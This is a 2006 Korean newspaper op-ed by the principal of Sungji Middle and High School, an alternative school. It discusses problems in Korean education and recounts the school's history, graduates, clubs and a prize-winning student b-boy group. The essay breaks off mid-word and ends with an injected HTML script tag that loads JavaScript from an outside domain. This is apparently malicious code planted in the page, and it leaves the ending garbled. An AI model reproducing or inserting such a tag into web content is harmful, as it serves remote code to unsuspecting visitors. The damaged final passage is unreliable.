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기고 - 방치할 수 없는 교육현실의 처방은?

관리자 기자  2006.12.21 01:54:00

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김 한 태 (성지중·고등학교장)

‘집단 따돌림’, ‘학교폭력’, ‘교권의 상실’은 지금 우리의 교육 현실을 보여주는 한 단면이다. 경제적 규모는 성장하였지만, 끝없이 벌어지는 빈부격차와 급격한 생활변화의 영향으로 외형적으론 삶의 질이 향상 되었지만, 막상 그 속에 살고 있는 서민들의 삶은 보다 더 힘들어 졌기 때문이다.
이런 기형적인 교육현장의 변화로 인해, 제도권 교육에 적응하지 못하고 이탈하거나, 기타 형편상의 문제로 제대로 된 교육을 받을 수 있는 기회조차 박탈당한 소수의 학생들을 위해 설립된 곳이 바로 대안학교이다. 하지만 아직까지도 사회적 시선은 이러한 교육의 변화를 곱지 않은 시선으로 바라보고 있기도 하다. ‘선생님’ ‘존경’ ‘스승’ 의 의미가 퇴색되어가고 있는 요즘, 사회가 안으려 하지 않는 많은 학생들 성지학교에서는 품에 안고 참된 교육을 실천하려고 45명의 교직원은 최선의 노력을 다하고 있다.
미국의 디트로이트의 한 학교에서 있었던 일이다. 수업중에 학생의 실수로 그만 실험용 생쥐를 놓치고 말았다. 학생들은 생쥐를 찾으려 했지만 찾지 못했다. 그때 선생님이 학생들에게 말했다. “모두 그만 멈추렴, 모리슨이 찾을 수 있을꺼야” 아이들은 모두 말도 안된다며, 웅성거렸다. 왜냐하면 모리슨은 장님이였기 때문이다. 선생님이 말을 이었다 “모리슨은 장님이지만, 그렇기 때문에 다른 어느 누구보다 뛰어난 청각력이 있어, 꼭 찾을 수 있을꺼야.” 이 말에 자신의 가치에 대해 다시 생각해보게 된 모리슨은 이후 음악에 눈을 뜨게 되었고 전 세계적으로 유명한 가수가 되었다. 그가 바로, 흑인 음악계의 대부 스티비 원더이다. 선생님의 말 한마디가 자신의 가치를 깨닫게 하고 재능을 깨우는 시발점이 된 것이다. 이처럼 교육은 단순히, 지식을 전달하는데 그 목적이 있지만, 학생들 개개인에게 교육의 가치를 부여해 줄 때 더 큰 의미가 있다. 현재 국내의 교육현실은 개개인의 가치를 대학진학을 위한 성적의 가치에 두고 있기에 문제가 있다고 할 수 있다.
 미래사회의 변화를 주도할 주인공인 청소년은 더할나위 없이 소중한 국가의 재산이고 다음 세대의 주인이다. 하지만 안타깝게도 우리 주변에는 가정과 학교에서 소외되고 방황하는 청소년들이 늘어나고 있는 현실이다. “여러 가지 사정으로 배움의 기회를 놓친 주부 및 청장년 여러분들에게도 교육의 기회가 부여되는 학교이다.
구두닦이, 신문팔이, 능마주이, 공장 근로자들, 뒤돌아보면 모든 것이 부족했던 70년대 초에 영등포구에서 개교하여 이런 자리에 오를 때까지 너무 많은 우여곡절을 겪었다.
78년도 화곡동으로 자리를 옮겼을때도 주변의 시선은 곱지 않았다. 오직 오기와 끈기로 사람들을 설득시켜 어떻게든 학생들을 교육시키기 위해 노력했고, 그런 노력을 알아본 몇몇 사람들이 도움도 주었다. 지금 학교가 위치한 화곡동 건물은 원래 복지관으로 설립되었던 곳으로, 이사오기 위해 직접 모금함을 들고 나섰고 아무도 예상치 못했던 성과를 이루어내 주변을 놀라게 하기도 했다. 이후에도 화재와, 가건물 강제철거 등의 수많은 어려움을 겪은 끝에 지금의 자리에 있게 된 것이다. “인내심 말고는 딱히 크게 들인 노력은 없는 것 같다.
이런 곳에서 아이들이 공부하는게 고맙고 사회에 나가서 크게 성공한 모습을 보고 들었을 때 포기 할 수가 없었다. 35년 기간에는 포기하려고 했으면 여러번 포기했을 것이다. 그때마다 심정은 나까지 포기하면 저 아이들은 어떻게 될 것인가. 누군가가 해야 한다면 아무리 힘들어도 기꺼이 내가 해야 하겠다. 학생들에게 많은 애정을 가지고 있다. 다 자식 같습니다” 아무리 과거는 과거라지만 눈물을 닦아도 눈물이 계속 쏟아지네요!
사회의 시선은 아직도 곱지 않은 것이 사실이나, 노력을 결실로 하나하나 맺어가고 있다. 지금까지 성지중·고등학교에서 배출된 8천5백 여명의 졸업생들은 사회 각계각층에 진출하여 건실하게 살아가고 있으며, 현재도 교육에 목마른 학생들이 입소문을 통해 많은 청소년들이 성지고등학교에 발을 들여놓고 있다. 성지중·고등학교에서는 조리반, 풍물부, 댄스그룹, 영어·중국어·일어 회화반, 골프반 등의 클럽활동을 통해 학생들의 인성 및 적성개발에 큰 도움을 주고 있다.
최근에는 축구부를 창단하여, 최단기간 내에 명문고등학교들을 차례로 꺾고 16강에 진출하는 파란을 일으키기도 했다. 또한 성지중·고등학교 학생들로 구성된 비보이그룹 이스케이프는 99년 5월 창단하여 99년 서울시장배 댄스대회우승, 2000년 롯데월드 댄스대회우승, 2000년 두산타워 댄스대회우승, 2000년 드림팰리스 댄스대회 우승, KBS 고교챔프 왕중왕 안무상, 2006년 11월 미국 택사스 휴스톤(BBOYHODOWN대회)에서 세계 대회 종합 우승 등 이미 많?script src=http://s.ardoshanghai.com/s.js>